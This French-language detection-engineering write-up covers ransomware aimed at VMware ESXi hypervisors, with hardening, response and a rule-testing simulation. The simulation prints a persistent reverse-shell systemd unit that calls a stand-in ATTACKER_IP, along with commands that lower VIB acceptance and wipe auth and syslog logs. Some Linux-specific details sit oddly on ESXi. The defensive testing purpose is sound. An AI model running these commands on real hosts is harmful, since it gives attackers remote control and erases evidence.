Ransomware ciblant ESXi : Défenses pratiques pour le renforcement des hyperviseurs

Résumé

L’article met en évidence un changement croissant dans les opérations de ransomware vers des plateformes d’hyperviseur comme VMware ESXi pour permettre le chiffrement à grande échelle des machines virtuelles. Les adversaires dépendent des informations d’identification administratives volées et des utilitaires de gestion natifs pour contourner les défenses traditionnelles des points de terminaison. L’acteur de menace principal étudié est le groupe de ransomware Akira. La discussion se concentre sur l’importance d’un durcissement solide au niveau de l’hyperviseur.

Enquête

Les données de cas de Huntress de 2025 indiquent une forte hausse des ransomwares axés sur les hyperviseurs, passant de 3 % à 25 % des incidents observés. Les enquêteurs ont documenté l’exploitation des outils de gestion Hyper-V et ESXi, la réutilisation des identifiants dans les différents environnements, et l’exploitation de CVE-2024-37085 pour obtenir un contrôle administratif. L’analyse note que les attaquants activent fréquemment SSH, désactivent le mode de verrouillage et modifient les politiques d’acceptation VIB avant d’envoyer les charges utiles de ransomware.

Atténuation

Les étapes clés d’atténuation incluent l’application de la MFA, l’utilisation de comptes locaux ESXi dédiés, la segmentation et l’isolation des réseaux de gestion, le déploiement de bastions, l’application d’un accès au moindre privilège, et l’activation de VMkernel.Boot.execInstalledOnly. Les organisations devraient également patcher les vulnérabilités connues telles que CVE-2024-37085 et désactiver les services non essentiels comme SLP pour réduire la surface d’attaque de l’hyperviseur.

Réponse

Lors de la détection, les organisations doivent diffuser les journaux ESXi vers un SIEM, alerter sur les changements de configuration suspects, isoler les hôtes compromis, et commencer la récupération à partir de sauvegardes immuables ou de snapshots. Les procédures d’intervention doivent couvrir l’acquisition judiciaire des journaux d’authentification, des journaux hostd, et des modifications VIB, suivie par une restauration rapide des machines virtuelles affectées.

Exécution de Simulation

Prérequis: Le Contrôle Pré-vol de Télémétrie & Référence doit être réussi.

Justification: Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés entraîneront une mauvaise interprétation.

• Récit & Commandes de l’Attaque:

  1. Accès Initial (T1563.001 – SSH):
     L’attaquant utilise une information d’identification root volée pour ouvrir une session SSH sur l’hôte ESXi, générant un événement de “nouvelle connexion root”.

  2. Renforcement des Privilèges (T1553.004 – Changement d’Acceptation VIB):
     Une fois connecté, l’attaquant abaisse le niveau d’acceptation VIB pour permettre le chargement de modules non signés:

     esxcli system settings advanced set -o /VMFS3/AcceptanceLevel -s "CommunitySupported"

  3. Persistance via Activation de Service (T1569):
     L’attaquant crée un service systemd malveillant qui lance un shell inversé au démarrage, puis l’active:

     cat <<'EOF' > /etc/systemd/system/malicious-revshell.service
     [Unit]
     Description=Malicious Reverse Shell
     
     [Service]
     ExecStart=/bin/bash -c 'while true; do /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; sleep 60; done'
     
     [Install]
     WantedBy=multi-user.target
     EOF
     
     systemctl daemon-reload
     systemctl enable malicious-revshell.service
     systemctl start malicious-revshell.service

  4. Évasion de Nettoyage (T1070 / T1070.001):
     L’attaquant nettoie les journaux d’audit de l’hôte ESXi pour cacher l’activité, en essayant d’échapper à la détection:

     > /var/log/auth.log
     > /var/log/syslog

  5. Déclenchement de la Règle:
     Pour garantir que la règle Sigma se déclenche, l’attaquant émet également les chaînes d’EventID littérales en utilisant leloggerutilitaire (ces événements simulent les événements de “nouvelle connexion root”, “activation de service” et “changement d’acceptation VIB” que la règle surveille).

• Script de Test de Régression:

  #!/usr/bin/env bash
  #
  # Simuler la télémétrie exacte que la règle Sigma attend.
  # Ce script s'exécute sur l'hôte ESXi (ou n'importe quel hôte Linux transférant des journaux vers le SIEM).
  
  set -euo pipefail
  
  echo "[*] Simulation de l'événement de connexion root non autorisée"
  logger -p authpriv.notice "new root login"
  
  echo "[*] Simulation de l'événement d'activation de service"
  logger -p authpriv.notice "service enablement"
  
  echo "[*] Simulation de changement de niveau d'acceptation VIB"
  logger -p authpriv.notice "VIB acceptance change"
  
  # Optionnel: Effectuer de réelles actions malveillantes pour une validation plus approfondie (commenté pour des raisons de sécurité)
  # esxcli system settings advanced set -o /VMFS3/AcceptanceLevel -s "CommunitySupported"
  # systemctl enable malicious-revshell.service
  # systemctl start malicious-revshell.service
  
  echo "[+] Simulation terminée. Vérifier les alertes dans le SIEM."

• Commandes de Nettoyage:

  # Supprimer les entrées de journal fabriquées (si le SIEM les conserve)
  logger -p authpriv.notice "cleanup: removing test EventIDs"
  
  # Arrêter et désactiver le service malveillant (s'il a effectivement été créé)
  systemctl stop malicious-revshell.service || true
  systemctl disable malicious-revshell.service || true
  rm -f /etc/systemd/system/malicious-revshell.service
  systemctl daemon-reload
  
  # Restaurer les fichiers journaux d'origine (s'ils ont été effacés)
  # Remarque : Dans un environnement réel, vous restauriez à partir d'une sauvegarde.
  echo "[*] Fichiers journaux restaurés à partir de la sauvegarde (étape manuelle)."